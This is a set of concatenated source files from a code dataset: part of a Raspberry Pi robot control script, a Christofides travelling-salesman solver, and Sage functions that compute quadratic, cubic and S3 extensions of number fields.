0: \n\t\t\tspeedDown61 = 90\n\t\t\t\n\telse:\n\t\t\n\t\tmotorSpeed = 100\n\t\t\n\t\tif (isBarrierLeft and (not isBarrierRight)):\n\t\t\t# print(\"LEFFFFFFFFFFFFFFFFFFFF_T\")\n\t\t\tGo_Forward_Right(turnSpeed, motorSpeed)\n\t\t\t\n\t\telif ((not isBarrierLeft) and isBarrierRight): \n\t\t\t# print(\"RIGGGGGGGGGGGGGGGGGGGGG_T\")\n\t\t\tGo_Forward_Left(turnSpeed, motorSpeed)\n\t\t\t\n\t\telse: \n\t\t\tGo_Forward_Straight(turnSpeed, motorSpeed)\n\t\t\t\n\t\t\t\n\t\t\t\n \nif __name__ == '__main__' : \n\t\n\ttry : \n\t\t\n\t\trestTime = 0.60\n\t\tturnSpeed = 100\n\t\tlineTracking = True\n\t\t\n\t\tStopMortors() # Initializing \n\t\t''' \n\t\t# Testing \n\t\t# MotorWithSpeedControl()\n\t\t\t\t\n\t\tForward(100)\t\t\n\t\ttime.sleep(3)\n\t\t\n\t\tBackward(100)\t\t\n\t\ttime.sleep(3)\t\n\t\t\n\t\tGoRight(100)\n\t\ttime.sleep(3)\n\t\t\n\t\t\n\t\t\n\t\tGoLeft(100)\n\t\ttime.sleep(3)\n\t\t\t\t\n\t\t\n\t\t''' \n\t\t\n\t\t\n\t\t\n\t\t''' '''\n\t\tprint(\"Enter Input \\r\\n\")\n\t\tprint(\"0: line trakcing \\r\\n\")\t\t\n\t\tprint(\"1: Obstacle Avoidance \\r\\n\")\n\t\tprint(\"2: Light Seeker \\r\\n\")\n\t\tprint(\"3: Light Pho \\r\\n\")\n\t\t\n\t\t\n\t\t\n\t\tmotorSpeed = 100\n\t\t\n\t\t\n\t\tinput_str = raw_input() ### Python 3 keyboard input\n\t\t\n\t\t\n\t\twhile True : \n\t\t\t\n\t\t\t\n\t\t\tisBarrierLeft = Left_ObstecleTracking()\n\t\t\tisBarrierRight = Right_ObstecleTracking()\n\t\t\t\n\t\t\tdist = Distance() ## Getting the distance of the object\n\t\t\tprint (\"Measured Distance = %0.2f cm, %0.2fm\" %(dist, dist/100))\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t## ==================================================================\n\t\t\t### Line Tracking Choose\n\t\t\tif input_str == \"0\":\n\t\t\t\tprint(\"Line >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\")\n\t\t\t\t## ==================== Line Tracking Sensor Input ====================\n\t\t\t\tleft = Left_LineTracking()\n\t\t\t\tright = Right_LineTracking()\n\n\t\t\t\tif (dist < 20):\n \t\t\t\t\n\t\t\t\t\tmotorSpeed = 100\n\t\t\t\t\tif (isBarrierLeft and (not isBarrierRight)):\n\t\t\t\t\t\t\n\t\t\t\t\t\tGo_Backward_Left(turnSpeed, motorSpeed)\n\t\t\t\t\t\ttime.sleep(2)\n\t\t\t\t\t\t\n\t\t\t\t\tif ((not isBarrierLeft) and isBarrierRight): \n\t\t\t\t\t\t\n\t\t\t\t\t\tGo_Backward_Right(turnSpeed, motorSpeed)\n\t\t\t\t\t\ttime.sleep(2)\n\t\t\t\t\t\t\n\t\t\t\t\tif (isBarrierLeft and isBarrierRight): \n\t\t\t\t\t\tGo_Backward_Straight(turnSpeed, motorSpeed)\n\t\t\t\t\t\ttime.sleep(1.5)\n\n\t\t\t\telse: \t\t\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tmotorSpeed = 50\n\t\t\t\t\tif (left and (not right)):\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\tGo_Forward_Left(turnSpeed, motorSpeed)\n\t\t\t\t\t\t\t\n\t\t\t\t\telif ((not left) and right): \n\t\t\t\t\t\t\n\t\t\t\t\t\tGo_Forward_Right(turnSpeed, motorSpeed)\n\n\n\t\t\t\t\telif ((not left) and (not right)): \n\t\t\t\t\t\tprint(\"[-] No line found\")\n\t\t\t\t\t\tStopMortors()\n\n\t\t\t\t\telse: \n\t\t\t\t\t\tGo_Forward_Straight(turnSpeed, motorSpeed)\n\t\t\t\n\t\t\telse: \n\t\t\t\t\"\"\"\n\t\t\t\tThe robot will use the object detection by default because we have to avoid \n\t\t\t\tthe obsectles in any situations under the any circumstances. \n\t\t\t\t\n\t\t\t\t## ==================================================================\t\n\t\t\t\t\n\t\t\t\t## ==================================================================\t\n\t\t\t\t\"\"\"\n\t\t\t\t## ==================== Object Detection Chocice ====================\n\t\t\t\tif input_str == \"1\":\n\t\t\t\t\tDriveWithObjectDetection(dist)\n\t\t\t\t\t\n\t\t\t\t## ========================= Light Seeker =========================\t\n\t\t\t\tif input_str == \"2\": \n\t\t\t\t\t# print(\"Light : \", IsLight())\n\t\t\t\t\tif (IsLight() == 0): \n\t\t\t\t\t\tDriveWithObjectDetection(dist)\n\t\t\t\t\telse: \n\t\t\t\t\t\tStopMortors()\n\t\t\t\t\t\t\n\t\t\t\t## ========================= Light Phobe ========================= \t\n\t\t\t\tif input_str == \"3\": \n\t\t\t\t\t# print(\"Light : \", IsLight())\n\t\t\t\t\tif (IsLight() == 1): \n\t\t\t\t\t\tDriveWithObjectDetection(dist)\n\t\t\t\t\telse: \n\t\t\t\t\t\tStopMortors()\n\t\t\t\t\n\t\t\t\n\t\tGPIO.CleanUp()\n\t\t\n\t\t\n\t\t\n\n\t# Reset by Pressing CTRL + C\n\texcept KeyboardInterrupt : \n\t\tprint(\"Measurement stopped by the user\")\n\t\tGPIO.cleanup() \n","sub_path":"ThundarAlex/Light4xW_AlexWithMotorSpeedControl.py","file_name":"Light4xW_AlexWithMotorSpeedControl.py","file_ext":"py","file_size_in_byte":12520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"335019193","text":"import networkx as nx\nimport numpy as np\nfrom networkx.drawing.nx_agraph import write_dot, graphviz_layout\nimport matplotlib.pyplot as plt\n\ndef ChristofidesSolver(costs, backend='nx'):\n if backend == 'nx':\n return ChristofidesSolverNetworkx(costs)\n elif GT and backend == 'gt':\n return ChristofidesSolverGraphTool(costs)\n else:\n raise ValueError('Unknown Backend: {}'.format(backend))\n\nclass ChristofidesSolverNetworkx:\n def __init__(self, costs):\n self.costs = costs\n self.G = nx.Graph()\n n = len(costs)\n V = range(n)\n self.G.add_nodes_from(V)\n for i in V:\n for j in range(i+1, n):\n self.G.add_edge(i, j, weight=self.costs[i,j])\n self.G.add_edge(j, i, weight=self.costs[i,j])\n\n \"\"\"pos =graphviz_layout(self.G, prog='dot')\n nx.draw(self.G, pos, with_labels=True, arrows=True)\n plt.show()\"\"\"\n\n def solve(self):\n # Find MST (Kruskal)\n mst = nx.minimum_spanning_tree(self.G)\n # Extract odd degree vertices\n odd_degree_nodes = {v for v, d in mst.degree() if d%2 == 1}\n H = self.G.subgraph(odd_degree_nodes)\n # Min weight perfect matching\n max_weight = max((e[-1]['weight'] for e in H.edges(data=True)))+1\n for e in H.edges(data=True):\n e[-1]['weight'] = max_weight - e[-1]['weight']\n mst = nx.MultiGraph(mst)\n # Transform as a multigraph with edges in T \\cup M\n M = nx.max_weight_matching(H)\n assert nx.is_perfect_matching(H, M)\n for edge in M:\n mst.add_edge(*edge)\n C = list(nx.eulerian_circuit(mst)) # A Eulerian path exists since all vertices have even degree\n visited_nodes = {C[0][0]}\n adjacency = np.zeros((len(self.costs), len(self.costs)), dtype=np.int)\n i = 0\n origin = C[0][0]\n while i < len(C):\n while i < len(C)-1 and C[i][1] in visited_nodes:\n i += 1\n adjacency[origin,C[i][1]] = 1\n visited_nodes.add(C[i][1])\n origin = C[i][1]\n i += 1\n obj_value = (adjacency*self.costs).sum()\n return adjacency, obj_value\n\ndef extract_euler_path(G):\n visited = G.new_ep('bool')\n nb_edges = G.num_edges()\n circuit = np.zeros(nb_edges+1, dtype=np.int)\n stack = list()\n v = G.vertex(0)\n i = 0\n loop = True\n while loop:\n found = False\n for e in v.all_edges():\n if not visited[e]:\n found = True\n visited[e] = True\n break\n if found:\n stack.append(v)\n v = e.source() if v == e.target() else e.target()\n else:\n circuit[i] = int(v)\n i += 1\n if stack:\n v = stack.pop()\n else:\n loop = False\n return circuit\n\ntry:\n from graph_tool.generation import complete_graph\n from graph_tool.topology import min_spanning_tree, max_cardinality_matching\n from graph_tool import GraphView\n\n class ChristofidesSolverGraphTool:\n def __init__(self, costs):\n self.costs = costs\n self.G = complete_graph(N=len(costs), directed=False) # cost matrix is symmetrical\n self.weights = self.G.new_ep('double')\n self.weights.a = costs[np.triu_indices(len(costs), k=1)]\n self.G.ep['weights'] = self.weights\n\n def solve(self):\n # Find MST\n mst_efilt = min_spanning_tree(self.G, self.weights)\n mst = GraphView(self.G, efilt=mst_efilt)\n # Extract Odd degree vertices\n odd_deg_vfilt = self.G.new_vp('bool')\n odd_deg_vfilt.a[np.where(mst.degree_property_map('out').a % 2 == 1)] = True\n subgraph = GraphView(self.G, vfilt=odd_deg_vfilt)\n # Min weight perfect matching\n mwpf_efilt = max_cardinality_matching(subgraph, heuristic=True, weight=subgraph.ep['weights'], minimize=True)\n assert np.logical_and(mst_efilt.a == 1, mwpf_efilt.a == 1).shape == mst_efilt.a.shape\n mwpf_efilt.a += mst_efilt.a\n C = extract_euler_path(GraphView(self.G, efilt=mwpf_efilt))\n ####\n origin = C[0]\n visited_nodes = {origin}\n adjacency = np.zeros((len(self.costs), len(self.costs)), dtype=np.int)\n i = 0\n while i < len(C):\n while i < len(C)-1 and C[i] in visited_nodes:\n i += 1\n adjacency[origin,C[i]] = 1\n visited_nodes.add(C[i])\n origin = C[i]\n i += 1\n obj_value = (adjacency*self.costs).sum()\n return adjacency, obj_value\n GT = True\nexcept ModuleNotFoundError:\n print('graph_tool is not installed. Christofides can therefore not run optimally (networkx is used by default)')\n print('To install graph-tool through Anaconda: https://medium.com/@ronie/installing-graph-tool-for-python-3-on-anaconda-3f76d9004979')\n GT = False\n\n","sub_path":"src/christofides.py","file_name":"christofides.py","file_ext":"py","file_size_in_byte":5048,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"9690309","text":"def suitable_element_of_Kz(K,S):\n r\"\"\"\n \n INPUT:\n - ``K`` : a number field with `\\zeta_3\\not\\in K`\n - ``S`` : a list of prime ideals of ``K``\n \n OUTPUT:\n A list of all 2-tuples `[b,Tr_{Kz/K}(a)]` we need, in order to determine a defining polynomial of a suitable cubic extension of ``K``. \n \n REFERENCE:\n - Henri Cohen. Advanced Topics in Computational Number Theory. Number 193 in Graduate Texts in Mathematics. Springer-Verlag, New York, 1999. It is a special case of the theorem 5.3.5.\n - Angelos Koutsianas Thesis, \n \n EXAMPLE::\n \n sage: K. = NumberField(x-1)\n sage: S = sum([K.primes_above(p) for p in [2,3]],[])\n sage: suitable_element_of_Kz(K,S)\n [[1,1]]\n \n sage: K. = NumberField(x^2+1)\n sage: S = sum([K.primes_above(p) for p in [2,3]],[])\n sage: suitable_element_of_Kz(K,S)\n [[-1, a], [-a, a - 1], [a, -2*a + 1], [-a, 2*a + 1]]\n \n sage: K. = NumberField(x^2+3)\n sage: S = sum([K.primes_above(p) for p in [2,3]],[])\n sage: suitable_element_of_Kz(K,S)\n ValueError: K contains the 3rd root of unit\n \"\"\" \n \n RK = PolynomialRing(K,'y')\n y = RK.gen()\n if not (y**2+3).is_irreducible():\n raise ValueError('K contains the 3rd root of unity')\n \n Kz = K.extension(x**2+3,'b')\n K_selmer_basis = K.selmer_group(S,3)\n Sz = sum([Kz.primes_above(p) for p in S],[])\n Kz_selmer_basis = Kz.selmer_group(Sz,3)\n M = matrix(Integers(3),len(Kz_selmer_basis),len(K_selmer_basis))\n for i,c in enumerate(Kz_selmer_basis):\n M[i] = list_selmer_group(K(c.relative_norm()),S,3)\n ker = M.kernel()\n T = []\n S = []\n for v in ker:\n if not v.is_zero() and v not in S:\n S.append(2*v)\n a = prod([s**t for s,t in zip(Kz_selmer_basis,v)])\n fac = (y**3 - a.relative_norm()).factor()\n if fac[0][1] == 1:\n b = -fac[0][0](0)\n else:\n b = -fac[1][0](0)\n T.append([b,a.trace(a.parent().base_field())])\n \n return T\n\n\ndef full_selmer_group(K,S,n):\n r\"\"\"\n \n INPUT:\n - ``K`` : a number field\n - ``S`` : a list of prime ideals of K\n - ``n`` : a natural number\n \n OUTPUT:\n A list of representatives of the Selmer group `K(S,n)`\n \n EXAMPLE::\n \n sage: K. = NumberField(x-1)\n sage: S = sum([K.primes_above(p) for p in [2,3]],[])\n sage: [a.factor() for a in full_selmer_group(K,S,2)]\n [1, -1, 3, (-1) * 3, 2, (-1) * 2, 2 * 3, (-1) * 2 * 3]\n sage: S = sum([K.primes_above(p) for p in [2,5]],[])\n sage: [a.factor() for a in full_selmer_group(K,S,3)]\n [1, 5, 5^2, 2, 2 * 5, 2 * 5^2, 2^2, 2^2 * 5, 2^2 * 5^2]\n \n sage: K. = NumberField(x^2-6)\n sage: S = sum([K.primes_above(p) for p in [2,3]],[])\n sage: full_selmer_group(K,S,2)\n [1, 2*a - 5, -1, -2*a + 5, a + 3, a - 3, -a - 3, -a + 3, a - 2, -9*a + 22, -a + 2, 9*a - 22, a, -5*a + 12, -a, 5*a - 12]\n \"\"\"\n \n Sel = K.selmer_group(S,n)\n list = [prod([s**t for t,s in zip(v,Sel)]) for v in cartesian_product_iterator([xrange(n)]*len(Sel))]\n \n #We want each element to appear only once\n \n sel = []\n for a in list:\n if a not in sel:\n sel.append(a)\n return sel\n\n\ndef modified_selmer_group_c3(K,S):\n r\"\"\"\n \n INPUT:\n - ``K`` : a number field such that `\\zeta_3\\in K`\n - ``S`` : a list of prime ideals of `K`\n \n OUTPUT:\n A list of elements in `K` such that for two elements `a,b` of the list it holds `K(\\sqrt[3]{a})\\neq K(\\sqrt[3]{b})` \n \n EXAMPLE::\n \n sage: K. = NumberField(x^2+3)\n sage: S = sum([K.primes_above(p) for p in [2,5]],[])\n sage: modified_selmer_group_c3(K,S)\n [-1/2*a + 1/2, 5, -5/2*a + 5/2, -5/2*a - 5/2, 2, -a + 1, -a - 1, 10, -5*a + 5, -5*a - 5, 50, -25*a + 25, -25*a - 25]\n \n sage: K. = NumberField(x-1)\n sage: S = sum([K.primes_above(p) for p in [2,3]],[])\n sage: modified_selmer_group_c3(K,S)\n ValueError: The 3-rd root of unity does not lie in K\n \"\"\"\n y = PolynomialRing(K,'y').gen()\n if (y**2+3).is_irreducible():\n raise ValueError('The 3-rd root of unity does not lie in K')\n \n Sel = K.selmer_group(S,3)\n elements = []\n temp = []\n for v in cartesian_product_iterator([Integers(3)]*len(Sel)):\n v = vector(v)\n if v not in temp and 2 * v not in temp:\n elements.append(prod([b**e for b,e in zip(Sel,v)]))\n temp.append(v)\n temp.append(2*v)\n \n return [b for b in elements if b != 1]\n \n \ndef quadratic_extensions(K,S):\n r\"\"\"\n \n INPUT:\n - ``K`` : a number field\n - ``S`` : a list of prime ideals of `K`\n \n OUTPUT:\n A list of all quadratic extensions of `K` unramified outside `S`\n \n EXAMPLE::\n \n sage: K. = NumberField(x-1)\n sage: S = sum([K.primes_above(p) for p in [2]],[])\n sage: quadratic_extensions(K,S)\n [Number Field in c2 with defining polynomial x^2 + 1 over its base field, \n Number Field in c2 with defining polynomial x^2 - 2 over its base field, \n Number Field in c2 with defining polynomial x^2 + 2 over its base field] \n sage: S = sum([K.primes_above(p) for p in [3,5]],[])\n sage: quadratic_extensions(K,S)\n [Number Field in c2 with defining polynomial x^2 - 5 over its base field, \n Number Field in c2 with defining polynomial x^2 + 3 over its base field, \n Number Field in c2 with defining polynomial x^2 + 15 over its base field]\n \n sage: K. = QuadraticField(-1)\n sage: S = sum([K.primes_above(p) for p in [2,3]],[])\n sage: S\n [Fractional ideal (a + 1), Fractional ideal (3)]\n sage: for L in quadratic_extensions(K,S):\n sage: L.relative_discriminant().factor()\n (Fractional ideal (a + 1))^4\n Fractional ideal (3)\n (Fractional ideal (a + 1))^4 * (Fractional ideal (3))\n (Fractional ideal (a + 1))^5\n (Fractional ideal (a + 1))^5\n (Fractional ideal (a + 1))^5 * (Fractional ideal (3))\n (Fractional ideal (a + 1))^5 * (Fractional ideal (3))\n \"\"\"\n \n #We enumerate the 2-Selmer group of K for the set of primes S\n \n Sel = full_selmer_group(K,S,2)\n \n #we create all possible C2 extensions\n \n candidates = []\n t = PolynomialRing(K,'t').gen()\n for s in Sel:\n if s != 1:\n L = K.extension(t**2 - s,'c2')\n candidates.append(L) \n \n #We check which fields in 'candidates' have discriminant that is divisible by primes not in 'S'.\n \n quadratic_extensions = []\n for L in candidates: \n if len([I[0] for I in L.relative_discriminant().factor() if I[0] not in S]) == 0:\n quadratic_extensions.append(L)\n \n return quadratic_extensions\n\n\ndef c3_z3_in(K,S):\n r\"\"\"\n \n INPUT:\n - ``K`` : a number field such that `\\zeta_3\\in K`\n - ``S`` : a list of prime ideals of `K`\n \n OUTPUT:\n A list with all cubic extensions of `K` unramified outside of `S`.\n \n COMMENT:\n `K` should contain `\\zeta_3`.\n \n EXAMPLE::\n \n sage: K. = QuadraticField(-3)\n sage: S = sum([K.primes_above(p) for p in [3]],[])\n sage: S\n [Fractional ideal (-a)]\n sage: for L in c3_z3_in(K,S):\n sage: L.relative_discriminant().factor()\n (Fractional ideal (-a))^6\n (Fractional ideal (-a))^8\n (Fractional ideal (-a))^8\n (Fractional ideal (-a))^8\n \n sage: K. = NumberField(x-1)\n sage: S = sum([K.primes_above(p) for p in [2,3]],[])\n sage: c3_z3_in(K,S)\n ValueError: K does not contain the 3-rd root of unity\n \"\"\"\n \n t = PolynomialRing(K,'t').gen()\n if (t**2+3).is_irreducible():\n raise ValueError('K does not contain the 3-rd root of unity')\n \n #we enumerate all elements of the 3-Selmer group of K which give different cubic extensions\n \n Sel = modified_selmer_group_c3(K,S)\n \n #we create all possible cubic extensions\n \n candidates = []\n for s in Sel:\n if s != 1:\n L = K.extension(t**3 - s,'c3')\n candidates.append(L) \n \n #We check which fields in 'candidates' have discriminant that is divisible by primes not in 'S'.\n \n cubic_extensions = []\n nice_cubic_extensions = []\n for L in candidates: \n if len([I[0] for I in L.relative_discriminant().factor() if I[0] not in S]) == 0:\n cubic_extensions.append(L)\n Lc = K.extension(L.defining_polynomial(),'c3')\n gnew = reduced_defining_polynomial(Lc)\n nice_cubic_extensions.append(K.extension(gnew,'c3'))\n \n return cubic_extensions,nice_cubic_extensions\n\n\ndef c3_z3_not(K,S):\n r\"\"\"\n \n INPUT:\n - ``K`` : a number field such that `\\zeta_3\\not\\in K`\n - ``S`` : a list of prime ideals of `K`\n \n OUTPUT:\n A list with all cubic extensions of `K` unramified outside `S` which have zero defining coefficient\n in their defining polynomial and a list of the same extensions with a defining polynomial with `nice'\n coefficients.\n \n EXAMPLE::\n \n sage: K. = NumberField(x-1)\n sage: S = sum([K.primes_above(p) for p in [2,3]],[])\n sage: c3_z3_not(K,S)\n [Number Field in c3 with defining polynomial x^3 - 3*x - 1 over its base field]\n \n sage: K. = QuadraticField(-2)\n sage: S = sum([K.primes_above(p) for p in [2,5]],[])\n sage: S\n [Fractional ideal (a), Fractional ideal (5)]\n sage: for L in c3_z3_not(K,S):\n sage: L.relative_discriminant().factor(),L.is_galois_relative()\n (Fractional ideal (5))^2 True\n \"\"\"\n t = polygen(K)\n T = suitable_element_of_Kz(K,S)\n SQ = []\n for prime in S:\n p = prime.absolute_norm().factor()[0][0]\n if p not in SQ:\n SQ.append(p)\n cubic_extensions = []\n nice_cubic_extensions = []\n for beta,trace in T:\n #we evaluate a 3 degree polynomial 'g'\n\n g = t**3 - 3*beta*t - trace\n gdisc = g.discriminant()\n\n #if 'g' is irreducible and its relative discriminant is a S unit then it is a defining\n # polynomial for a possible extension\n\n if g.is_irreducible():\n L = K.extension(g,'c3')\n if K.ideal(gdisc).is_S_unit(S = S):\n cubic_extensions.append(L)\n Lc = K.extension(g,'c3')\n gnew = reduced_defining_polynomial(Lc)\n nice_cubic_extensions.append(K.extension(gnew,'c3'))\n elif gdisc.absolute_norm().prime_to_S_part(S = SQ).is_square():\n\n #we check if the discriminant of L is unramified outside S\n\n if K.ideal(L.relative_discriminant()).is_S_unit(S = S):\n #we make a `nice' choice of a defining polynomial\n\n cubic_extensions.append(L)\n Lc = K.extension(g,'c3')\n gnew = reduced_defining_polynomial(Lc)\n nice_cubic_extensions.append(K.extension(gnew,'c3'))\n\n return cubic_extensions,nice_cubic_extensions\n\n\ndef cubic_extensions(K,S):\n r\"\"\"\n \n INPUT:\n - ``K`` : a number field\n - ``S`` : a list of prime ideals of `K`\n \n OUTPUT:\n A list with all cubic extensions of `K` unramified outside `S`\n \n EXAMPLE::\n \n sage: K. = QuadraticField(-2)\n sage: S = sum([K.primes_above(p) for p in [2,5]],[])\n sage: S\n [Fractional ideal (a), Fractional ideal (5)]\n sage: for L in cubic_extensions(K,S):\n sage: L.relative_discriminant().factor(),L.is_galois_relative()\n (Fractional ideal (5))^2 True\n \n sage:K. = NumberField(x-1)\n sage: S = sum([K.primes_above(p) for p in [2,3,5,7]],[])\n sage: for L in cubic_extensions(K,S):\n sage: L.is_galois_absolute(),L.absolute_discriminant().factor()\n True 7^2\n True 3^4\n True 3^4 * 7^2\n True 3^4 * 7^2\n \n sage: K. = QuadraticField(-3)\n sage: S = sum([K.primes_above(p) for p in [2,3]],[])\n sage: S\n [Fractional ideal (2), Fractional ideal (-a)]\n sage: for L in cubic_extensions(K,S):\n sage: L.is_galois_relative(),L.relative_discriminant().factor()\n True (Fractional ideal (-a))^6\n True (Fractional ideal (-a))^8\n True (Fractional ideal (-a))^8\n True (Fractional ideal (-a))^8\n True (Fractional ideal (2))^2 * (Fractional ideal (-a))^4\n True (Fractional ideal (2))^2 * (Fractional ideal (-a))^6\n True (Fractional ideal (2))^2 * (Fractional ideal (-a))^6\n True (Fractional ideal (2))^2 * (Fractional ideal (-a))^8\n True (Fractional ideal (2))^2 * (Fractional ideal (-a))^8\n True (Fractional ideal (2))^2 * (Fractional ideal (-a))^8\n True (Fractional ideal (2))^2 * (Fractional ideal (-a))^8\n True (Fractional ideal (2))^2 * (Fractional ideal (-a))^8\n True (Fractional ideal (2))^2 * (Fractional ideal (-a))^8\n \"\"\"\n t = PolynomialRing(K,'t').gen()\n if (t**2+3).is_irreducible():\n return c3_z3_not(K,S)\n else:\n return c3_z3_in(K,S)\n\n\ndef s3_extensions(K,S):\n r\"\"\"\n \n INPUT:\n - ``K`` : a number field `K`\n - ``S`` : a list of prime ideals of `K`\n \n OUTPUT:\n - A list of cubic polynomial with coefficients in `K` which have as a splitting field a `S_3` Galois extension of `K` unramified outside `S`.\n - The splitting fields of the polynomials\n - All the qudratic extensions of `K` unramified outside `S`\n \n EXAMPLE::\n \n sage: K. = NumberField(x-1)\n sage: S = sum([K.primes_above(p) for p in [3]],[])\n sage: s3_extensions(K,S)\n [[x^3 + 9], [Number Field in c3 with defining polynomial x^3 + c2 over\n its base field], [Number Field in c2 with defining polynomial x^2 + 3\n over its base field]]\n \n sage: K. = NumberField(x-1)\n sage: S = sum([K.primes_above(p) for p in [2]],[])\n sage: s3_extensions(K,S) \n [[], [], [Number Field in c2 with defining polynomial x^2 + 1 over its\n base field, Number Field in c2 with defining polynomial x^2 - 2 over its\n base field, Number Field in c2 with defining polynomial x^2 + 2 over its\n base field]]\n \n sage: K. = NumberField(x^2-2)\n sage: S = sum([K.primes_above(p) for p in [3]],[])\n sage: s3_extensions(K,S) \n [[x^3 - a - 1, x^3 + 18*a + 27, x^3 + 9, x^3 - 9*a - 9], [Number Field\n in c3 with defining polynomial x^3 - a - 1 over its base field, Number\n Field in c3 with defining polynomial x^3 + (2*a + 3)*c2 over its base\n field, Number Field in c3 with defining polynomial x^3 - c2 over its\n base field, Number Field in c3 with defining polynomial x^3 + (-a -\n 1)*c2 over its base field], [Number Field in c2 with defining polynomial\n x^2 + 3 over its base field]]\n \"\"\"\n t = polygen(K)\n \n #we evaluate all quadratic extensions of K unramified outside S\n\n quadratic = quadratic_extensions(K,S)\n polynomials = []\n fields = []\n for M in quadratic:\n g = [e for e in M.automorphisms() if e(M.gen()) != M.gen()][0] #the generator of Gal(M/K)\n SM = sum([M.primes_above(p) for p in S],[]) \n\n cubics,nice_cubics = cubic_extensions(M,SM) #all the cubic extensions of M unramified outside SM\n eKM = [e for e in K.embeddings(M) if e.preimage(M(K.gen())) == K.gen()][0] #the compatible embbeding of K in M\n\n #we check when L is an S3 extension and we give a 3-degree polynomial over K such that its splitting is L. By\n\n for L in cubics:\n f = L.defining_polynomial()\n\n #by construction the quadratic coefficient of f is 0. The coefficients of 'f' and 'f_bar'\n \n f0 = f[0] \n f1 = f[1]\n f0bar = g(f0)\n f1bar = g(f1)\n \n #the case when f has coefficients in K\n \n if f0bar == f0 and f1bar == f1:\n f0 = eKM.preimage(f0)\n f1 = eKM.preimage(f1)\n f = t**3 + f1*t + f0\n #it can not evaluate f.discriminant() if K has absolute degree 1\n if K.absolute_degree() == 1:\n f = f.change_ring(QQ)\n\n #if the discriminant of f is not a square we have a S3 extension\n if not f.discriminant().is_square():\n #we make a `nice' choice of defining polynomials\n Lc = K.extension(f,'c3')\n fnew = reduced_defining_polynomial(Lc)\n polynomials.append(fnew)\n fields.append(M.extension(fnew,'c3'))\n else: \n\n #f doesn't have coefficients in K\n \n p = PolynomialRing(L,'p').gen()\n fbar = p**3 + f1bar*p + f0bar #the conjugate of f\n\n #if fbar is not irreducible in L[x] then the extension is Galois\n\n if not fbar.is_irreducible():\n \n #we evaluate the sum of a root of f and a root of fbar such that the sum is not 0\n \n rf = f.change_ring(L).roots()\n rfbar = fbar.roots()\n\n r = rf[0][0]+rfbar[0][0]\n if r.is_zero():\n #we take an other root of rfbar for which we have proved that r!=0\n r = rf[0][0]+rfbar[1][0]\n \n #h is a 3-degree polynomial and should have coefficients in K\n \n h = r.minpoly()\n if g(h[2]) == h[2] and g(h[1]) == h[1] and g(h[0]) == h[0]:\n \n h0 = eKM.preimage(h[0])\n h1 = eKM.preimage(h[1])\n h2 = eKM.preimage(h[2])\n h = t**3 + h2*t**2 + h1*t + h0\n \n if K.absolute_degree() == 1: #it can not evaluate f.discriminant() if K has absolute degree 1\n h = h.change_ring(QQ)\n \n #we check if the discriminant of 'h' is not a square\n\n if not h.discriminant().is_square():\n #we make a `nice' choice of defining polynomials\n\n Lc = K.extension(h,'c3')\n fnew = reduced_defining_polynomial(Lc)\n polynomials.append(fnew)\n fields.append(M.extension(fnew,'c3'))\n \n return polynomials, fields, quadratic\n\n\ndef reduced_defining_polynomial(L):\n r\"\"\"\n\n INPUT:\n - ``L`` : a number field\n\n OUTPUT:\n\n A defining polynomial of ``L`` with nicer defining polynomial.\n \"\"\"\n\n K = L.base_field()\n RQ = PolynomialRing(QQ,'x')\n fabs = RQ(pari(L).nfinit(3)[0][0].list())\n\n for fac in fabs.change_ring(K).factor():\n L1 = K.extension(fac[0],'b')\n if L1.is_isomorphic(L):\n return fac[0]\n\n\ndef two_division_fields(K,S):\n r\"\"\"\n \n INPUT:\n - ``K`` : a number field\n - ``S`` : a list of prime ideals of `K`\n \n OUTPUT:\n - ``c2`` : a list of quadratic extensions of `K` unramified outside `S`\n - ``c3`` : a list of cubic extensions of `K` unramified outside `S`\n - ``s3_polynomials`` : a list of cubic polynomials with coefficients in `K` which have splitting field an `S_3` extension of `K` unramified outside `S`\n - ``s3`` : a list of `S_3` extensions of `K` unramified outside `S`\n \n EXAMPLE::\n \n sage: K. = NumberField(x-1)\n sage: S = sum([K.primes_above(p) for p in [2]],[])\n sage: two_division_fields(K,S)\n ([Number Field in c2 with defining polynomial x^2 + 1 over its base\n field, Number Field in c2 with defining polynomial x^2 - 2 over its base\n field, Number Field in c2 with defining polynomial x^2 + 2 over its base\n field], [], [], [])\n sage: S = sum([K.primes_above(p) for p in [2,5]],[])\n sage: two_division_fields(K,S)\n ([Number Field in c2 with defining polynomial x^2 + 1 over its base\n field, Number Field in c2 with defining polynomial x^2 - 5 over its base\n field, Number Field in c2 with defining polynomial x^2 + 5 over its base\n field, Number Field in c2 with defining polynomial x^2 - 2 over its base\n field, Number Field in c2 with defining polynomial x^2 + 2 over its base\n field, Number Field in c2 with defining polynomial x^2 - 10 over its\n base field, Number Field in c2 with defining polynomial x^2 + 10 over\n its base field], [], [x^3 + 45*x + 270], [Number Field in c3 with\n defining polynomial x^3 + 15*x - 40*c2 over its base field])\n sage: S = sum([K.primes_above(p) for p in [2,3]],[])\n sage: two_division_fields(K,S)\n ([Number Field in c2 with defining polynomial x^2 + 1 over its base\n field, Number Field in c2 with defining polynomial x^2 - 3 over its base\n field, Number Field in c2 with defining polynomial x^2 + 3 over its base\n field, Number Field in c2 with defining polynomial x^2 - 2 over its base\n field, Number Field in c2 with defining polynomial x^2 + 2 over its base\n field, Number Field in c2 with defining polynomial x^2 - 6 over its base\n field, Number Field in c2 with defining polynomial x^2 + 6 over its base\n field], [Number Field in c3 with defining polynomial x^3 - 3*x - 1 over\n its base field], [x^3 - 3*x - 14, x^3 - 2, x^3 + 9, x^3 + 18, x^3 + 36,\n x^3 - 9*x + 18, x^3 - 18*x + 24, x^3 + 3*x + 2], [Number Field in c3\n with defining polynomial x^3 + 3*c2*x + c2 - 1 over its base field,\n Number Field in c3 with defining polynomial x^3 - 2 over its base field,\n Number Field in c3 with defining polynomial x^3 + c2 over its base\n field, Number Field in c3 with defining polynomial x^3 + 2*c2 over its\n base field, Number Field in c3 with defining polynomial x^3 + 4*c2 over\n its base field, Number Field in c3 with defining polynomial x^3 - 3*x -\n 2*c2 over its base field, Number Field in c3 with defining polynomial\n x^3 + (-3*c2 - 9)*x + 5*c2 + 12 over its base field, Number Field in c3\n with defining polynomial x^3 + 3*x + 2 over its base field])\n 